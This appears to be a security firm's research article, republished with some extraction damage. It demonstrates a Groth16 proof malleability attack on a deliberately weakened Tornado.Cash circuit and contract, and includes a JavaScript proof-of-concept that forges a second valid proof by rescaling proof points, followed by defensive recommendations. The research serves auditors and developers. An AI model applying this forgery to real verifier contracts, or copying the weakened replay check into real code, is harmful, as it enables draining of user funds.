In the previous article, we explained the malleability vulnerability in the Groth16 proof system itself from the perspective of principles. In this article, we will take the Tornado.Cash project as an example, modify some of its circuits and codes, and introduce the malleability attack process and the I hope that other zkp project parties will also pay attention to the corresponding preventive measures in the project. Among them, Tornado.Cash uses the snarkjs library for development, which is also based on the following development process, and will be introduced directly later. If you are not familiar with the library, please read the first article in this series. (Beosin | In-depth analysis of zero-knowledge proof zk-SNARK vulnerability: Why is the zero-knowledge proof system not foolproof?)! [346a815b39293aee95668fb9b2049873] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-96823e64cc-dd1a6f-1c6801 “7076908”)
(Source:
1 Tornado.Cash Architecture
The interaction process of Tornado.Cash mainly includes 4 entities: * User: Use this DApp to conduct privacy transactions with the mixer, including deposits and withdrawals.
- Web page: The front-end webpage of the DApp, which contains some user buttons.
- Relayer: In order to prevent the nodes on the chain from recording information such as the ip address that initiated the private transaction, the server will replay the transaction instead of the user, further enhancing privacy.
- Contract: Contains a proxy contract Tornado.Cash Proxy, which will select the specified Tornado pool for subsequent deposit and withdrawal operations according to the amount of user deposits and withdrawals. There are currently 4 pools with amounts of 0.1, 1, 10, and 100.
The User first performs corresponding operations on the front-end web page of Tornado.Cash to trigger a deposit or withdrawal transaction, and then the Relayer forwards the transaction request to the Tornado.Cash Proxy contract on the chain, and forwards it to the corresponding Pool according to the transaction amount, and finally To process deposits and withdrawals, the specific structure is as follows: ! [f471dfca152796f84a6389ff3a6d96ac] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-fa8e75c3b3-dd1a6f-1c6801 “7076909”) As a currency mixer, Tornado.Cash has two specific business functions: * deposit : When a user conducts a deposit transaction, he first selects the deposited token (BNB, ETH, etc.) and the corresponding amount on the front-end web page. In order to better ensure the privacy of the user, only four amounts can be deposited;
! [fc9fe4cf9b1b8528e2446d23f39afc9a] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-22994b5b68-dd1a6f-1c6801 “7076910”)
Source: <
Then the server will generate two 31-byte random numbers nullifier and secret, and after splicing them together, perform pedersenHash operation to get the commitment, and return the nullifier+secret plus the prefix as a note to the user. The note is as follows: ! [83feeca678c53c26a5cfe70f55d29f10] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-64aba8733a-dd1a6f-1c6801 “7076911”)* Then a deposit transaction is initiated to send the commitment and other data to the Tornado.Cash Proxy contract on the chain , the proxy contract forwards the data to the corresponding Pool according to the deposit amount, and finally the Pool contract inserts the commitment as a leaf node into the merkle tree, and stores the calculated root in the Pool contract.
- withdraw: When the user makes a withdrawal transaction, first enter the note data and receiving address returned when deposit is entered on the front-end webpage;
! [49898b341e39bdbebd651b5d3918faef] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-54deb436c4-dd1a6f-1c6801 “7076912”)
Image source: <* Then the server will retrieve all the deposit events of Tornadocash under the chain, extract the commitments to build the Merkle tree under the chain, and generate the commitment and corresponding Merkle according to the note data (nullifier+secret) given by the user Path and the corresponding root are used as circuit input to obtain a zero-knowledge SNARK proof; finally, a withdraw transaction is initiated to the Tornado.Cash Proxy contract on the chain, and then jumps to the corresponding Pool contract to verify the proof according to the parameters. Money is credited to the recipient’s address specified by the user.
Among them, the withdrawal core of Tornado.Cash is actually to prove that a certain commitment exists on the Merkle tree without exposing the nullifier and secret held by the user. The specific Merkle tree structure is as follows: ! [a56d827c9d275989d6948e23280123ce] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-2215203ef5-dd1a6f-1c6801 “7076913”)## 2 Tornado.Cash magic modified version
2.1 Tornado.Cash magic change
For the first article Groth16 ductility attack principle, we know that the attacker can actually generate multiple different Proofs by using the same nullifier and secret. If the developer does not consider the double-spend attack caused by Proof replay, it will Threat to project funding. **Before the magic modification of Tornado.Cash, this article first introduces the code in the Pool where Tornado.Cash finally handles withdrawal:
/** @dev Withdraw a deposit from the contract. proof is a zkSNARK proof data, and input is an array of circuit public inputs input array consists of: - merkle root of all deposits in the contract - hash of unique deposit nullifier to prevent double spends - the recipient of funds - optional fee that goes to the transaction sender (usually a relay) */ function withdraw( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= denomination, “Fee exceeds transfer value”); require(!nullifierHashes[_nullifierHash], “The note has been already spent”); require(isKnownRoot(_root), “Cannot find your merkle root”); // Make sure to use a recent one require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ), “Invalid withdraw proof” ); nullifierHashes[_nullifierHash] = true; _processWithdraw(_recipient, _relayer, _fee, _refund); emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee); }
In the above figure, in order to prevent attackers from using the same Proof to carry out double-spend attacks without exposing the nullifier and secret, Tornado.Cash adds a public signal nullifierHash to the circuit, which is obtained by Pedersen hashing of the nullifier and can be used as a parameter Passed to the chain, the Pool contract then uses this variable to identify whether a correct Proof has been used. However, if the project party does not use the method of modifying the circuit, but directly records the Proof method to prevent double spending, after all, this can reduce circuit constraints and save costs, but can it achieve the goal? For this conjecture, this article will delete the newly added nullifierHash public signal in the circuit, and change the contract verification to Proof verification. Since Tornado.Cash obtains all deposit events every time it withdraws, builds a merkle tree and then verifies whether the generated root value is within the latest 30, the whole process is too troublesome, so the circuit in this article will also delete the merkleTree circuit, Only the core circuit of the withdraw part is left, and the specific circuit is as follows:
include “…/…/…/…/node_modules/circomlib/circuits/bitify.circom”; include “…/…/…/…/node_modules/circomlib/circuits/pedersen.circom”;// computes Pedersen(nullifier + secret)template CommitmentHasher() { signal input nullifier; signal input secret; signal output commitment; // signal output nullifierHash; // delete component commitmentHasher = Pedersen(496); // component nullifierHasher = Pedersen(248); component nullifierBits = Num2Bits(248); component secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== secret; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; // delete commitmentHasher.in [i] <== nullifierBits.out [i] ; commitmentHasher.in[i + 248] <== secretBits.out [i] ; } commitment <== commitmentHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ; // delete}// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits signal output commitment; signal input recipient; // not taking part in any computations signal input relayer; // not taking part in any computations signal input fee; // not taking part in any computations signal input refund; // not taking part in any computations signal input nullifier; signal input secret; component hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret; commitment <== hasher.commitment; // Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof // Most likely it is not required, but it’s better to stay on the safe side and it only takes 2 constraints // Squares are used to prevent optimizer from removing those constraints signal recipientSquare; signal feeSquare; signal relayerSquare; signal refundSquare; recipientSquare <== recipient * recipient; feeSquare <== fee * fee; relayerSquare <== relayer * relayer; refundSquare <== refund * refund;}component main = Withdraw(20);
Note: We found during the experiment that TornadoCash in the latest version of the code in GitHub (the withdraw circuit lacks an output signal and requires manual correction to run correctly.
According to the above modified circuit, use the snarkjs library, etc. to follow the development process given at the beginning of this article step by step, and generate the following normal Proof, which is recorded as proof1:
The proof: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304052946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 4424670283556465622197187546754094667837383166479615474515182183878046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n ], [ 9194248463115986940359811988096155965376840166464829609545491502209803154186n, 18373139073981696655136870665800393986130876498128887091087060068369811557306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 10375204902125491773178253544576299821079735144068419595539416984653646546215n, 1n ], protocol: ‘groth16’, curve: ‘bn128’}
2.2 Experimental verification
2.2.1 Proof of Verification—the default contract generated by circom
First of all, we use the default contract generated by circom for verification. Since the contract does not record any Proof-related information that has been used at all, the attacker can replay proof1 multiple times to cause a double-spending attack. In the following experiments, the proof can be replayed infinitely for the same input of the same circuit, and all of them can pass the verification. ! [caaf8474774d0ffaaea894961231e604] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-36bda9ebd9-dd1a6f-1c6801 “7076914”) The picture below is a screenshot of the experiment using proof1 in the default contract to prove that the verification passed, including the previous article Proof parameters A, B, and C used in , and the final result:
! [8796de83786dab2e1d2fe8988a2a8c3c] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-1d87d37558-dd1a6f-1c6801 “7076915”)
The figure below is the result of using the same proof1 to call the verifyProof function multiple times for proof verification. The experiment found that for the same input, no matter how many times the attacker uses proof1 for verification, it can pass: ! [058bfa45cfac5803990db4cb707c737b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-6f3b277d3a-dd1a6f-1c6801 “7076916”) Of course, we are testing in the native js code library of snarkjs, and we have not tested the already used Proof that has been passed for protection, the experimental results are as follows: ## 2.2.2 Verification Proof - Ordinary Anti-replay Contract
For the replay vulnerability in the default contract generated by circom, this article records a value in the correct Proof (proof1) that has been used to prevent replay attacks using the verified proof, as shown in the following figure: ! [9afeb481747b16752a00b70c5562bac2] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-384e9b2889-dd1a6f-1c6801 “7076917”) Continue to use proof1 for verification. The experiment found that when using the same Proof for secondary verification, the transaction reverted Error: “The note has been already spent”, the result is as shown in the figure below: ! [40293d602538a60400dffa795e0454dd] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-d09fb1e9c2-dd1a6f-1c6801 “7076918”) But Although the purpose of preventing ordinary proof replay attacks has been achieved at this time, the previous introduction There is a ductility vulnerability problem in the groth16 algorithm, and this preventive measure can still be bypassed. So we construct the PoC in the figure below, and generate a fake zk-SNARK certificate for the same input according to the algorithm in the first article. The experiment found that it can still pass the verification. The PoC code for generating the forged proof proof2 is as follows:
import WasmCurve from "/Users/saya/node_modules/ffjava/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjava/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”;import * as curves from “/Users/saya/node_modules/snarkjs/src/curves.js”;import fs from “fs”;import { utils } from “ffjava”;const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp(){ let inputA = “7”; let inputB = “11”; const SNARK_FIELD_SIZE = BigInt(‘21888242871839275222246405745257275088548364400416034343698204186575808495617’); // 2. 读取string后转化为int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync(“proof.json”,“utf8”))); console.log(“The proof:”,proof); // 生成逆元，生成的逆元必须在F1域 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = F.e(“123456”) const invX = F.inv(X) console.log(“x:” ,X ) console.log(“invX” ,invX) console.log(“The timesScalar is:”,F.mul(X,invX)) // 读取椭圆曲线G1、G2点 const vKey = JSON.parse(fs.readFileSync(“verification_key.json”,“utf8”)); // console.log(“The curve is:”,vKey); const curve = await curves.getCurveFromName(vKey.curve); const G1 = curve.G1; const G2 = curve.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c); const new_pi_a = G1.timesScalar(A, X); //A’=x*A const new_pi_b = G2.timesScalar(B, invX); //B’=x^{-1}*B proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b)) // 将生成的G1、G2点转化为proof console.log(“proof.pi_a:”,proof.pi_a); console.log(“proof.new_pi_a:”,proof.new_pi_a) console.log(“proof.new_pi_b:”,proof.new_pi_b)}
The generated forged proof proof2 is shown in the figure below:
When using this parameter to call the verifyProof function again for proof verification, the experiment found that the proof2 verification passed again in the case of the same input, as shown below: ! [03d0f119ea666620685b4cece791a789] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-4c49de3755-dd1a6f-1c6801 “7076919”) Although the forged proof2 can only be used once again, due to the forged There are almost infinite number of proofs, so it may cause the contract funds to be withdrawn infinitely. This article also uses the js code of the circom library to test, and the experimental results proof1 and fake proof2 can pass the verification: ! [9153431b50b81dcadbf68930ded584c3] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-934c4ab3e4-dd1a6f-1c6801 “7076920”)## 2.2.3 Proof of verification — Tornado.Cash replay contract
After so many failures, isn’t there a way to do it once and for all? Here, according to Tornado.Cash’s practice of verifying whether the original input has been used, this article continues to modify the contract code as follows: ! [28fabffcac9037a41e030db84f44f83b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-dfa6f29d35-dd1a6f-1c6801 “7076921”) It should be noted that, in order to demonstrate the simple measures to prevent the malleable attack of the groth16 algorithm, *\ *This article adopts the method of directly recording the original circuit input, but this does not conform to the privacy principle of zero-knowledge proof, and the circuit input should be kept confidential. **For example, the input in Tornado.Cash is all private, and a new public input needs to be added to identify a Proof. In this paper, since there is no new logo in the circuit, the privacy is relatively poor compared to Tornado.Cash. It is only used as an experimental demo to show the results as follows: ! [ac4624fc066156979fae817e327c6224] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-440d87e977-dd1a6f-1c6801 “7076922”) It can be found that the Proof using the same input in the above figure can only pass proof1 for the first time , then neither the proof1 nor the forged proof2 can pass the verification. ## 3 Summary and Recommendations
This paper mainly verifies the authenticity and harm of the replay vulnerability by modifying the circuit of TornadoCash and using the default contract generated by Circom, which is commonly used by developers, and further verifies that common measures used at the contract level can protect against the replay vulnerability, but cannot prevent it. Groth16’s malleable attack, in this regard, we recommend that zero-knowledge proof projects should pay attention to the following during project development: * Unlike traditional DApps that use unique data such as addresses to generate node data, zkp projects usually use a combination of random numbers To generate Merkle tree nodes, you need to pay attention to whether the business logic allows inserting nodes with the same value. **Because the same leaf node data may cause some user funds to be locked in the contract, or there are multiple Merkle Proofs in the same leaf node data that confuse the business logic. **
- The zkp project party usually uses mapping to record the used Proof to prevent double-spending attacks. **It should be noted that when developing with Groth16, due to the existence of ductility attacks, the original data of the node must be used for the record, instead of only the Proof related data identification. **
- Complex circuits may have problems such as circuit uncertainty and under-constraints, contract verification conditions are incomplete, and there are loopholes in the implementation logic. **We strongly recommend that the project party seek some research on circuits and contracts when the project is launched. Security auditing companies conduct comprehensive audits to ensure project security as much as possible. **
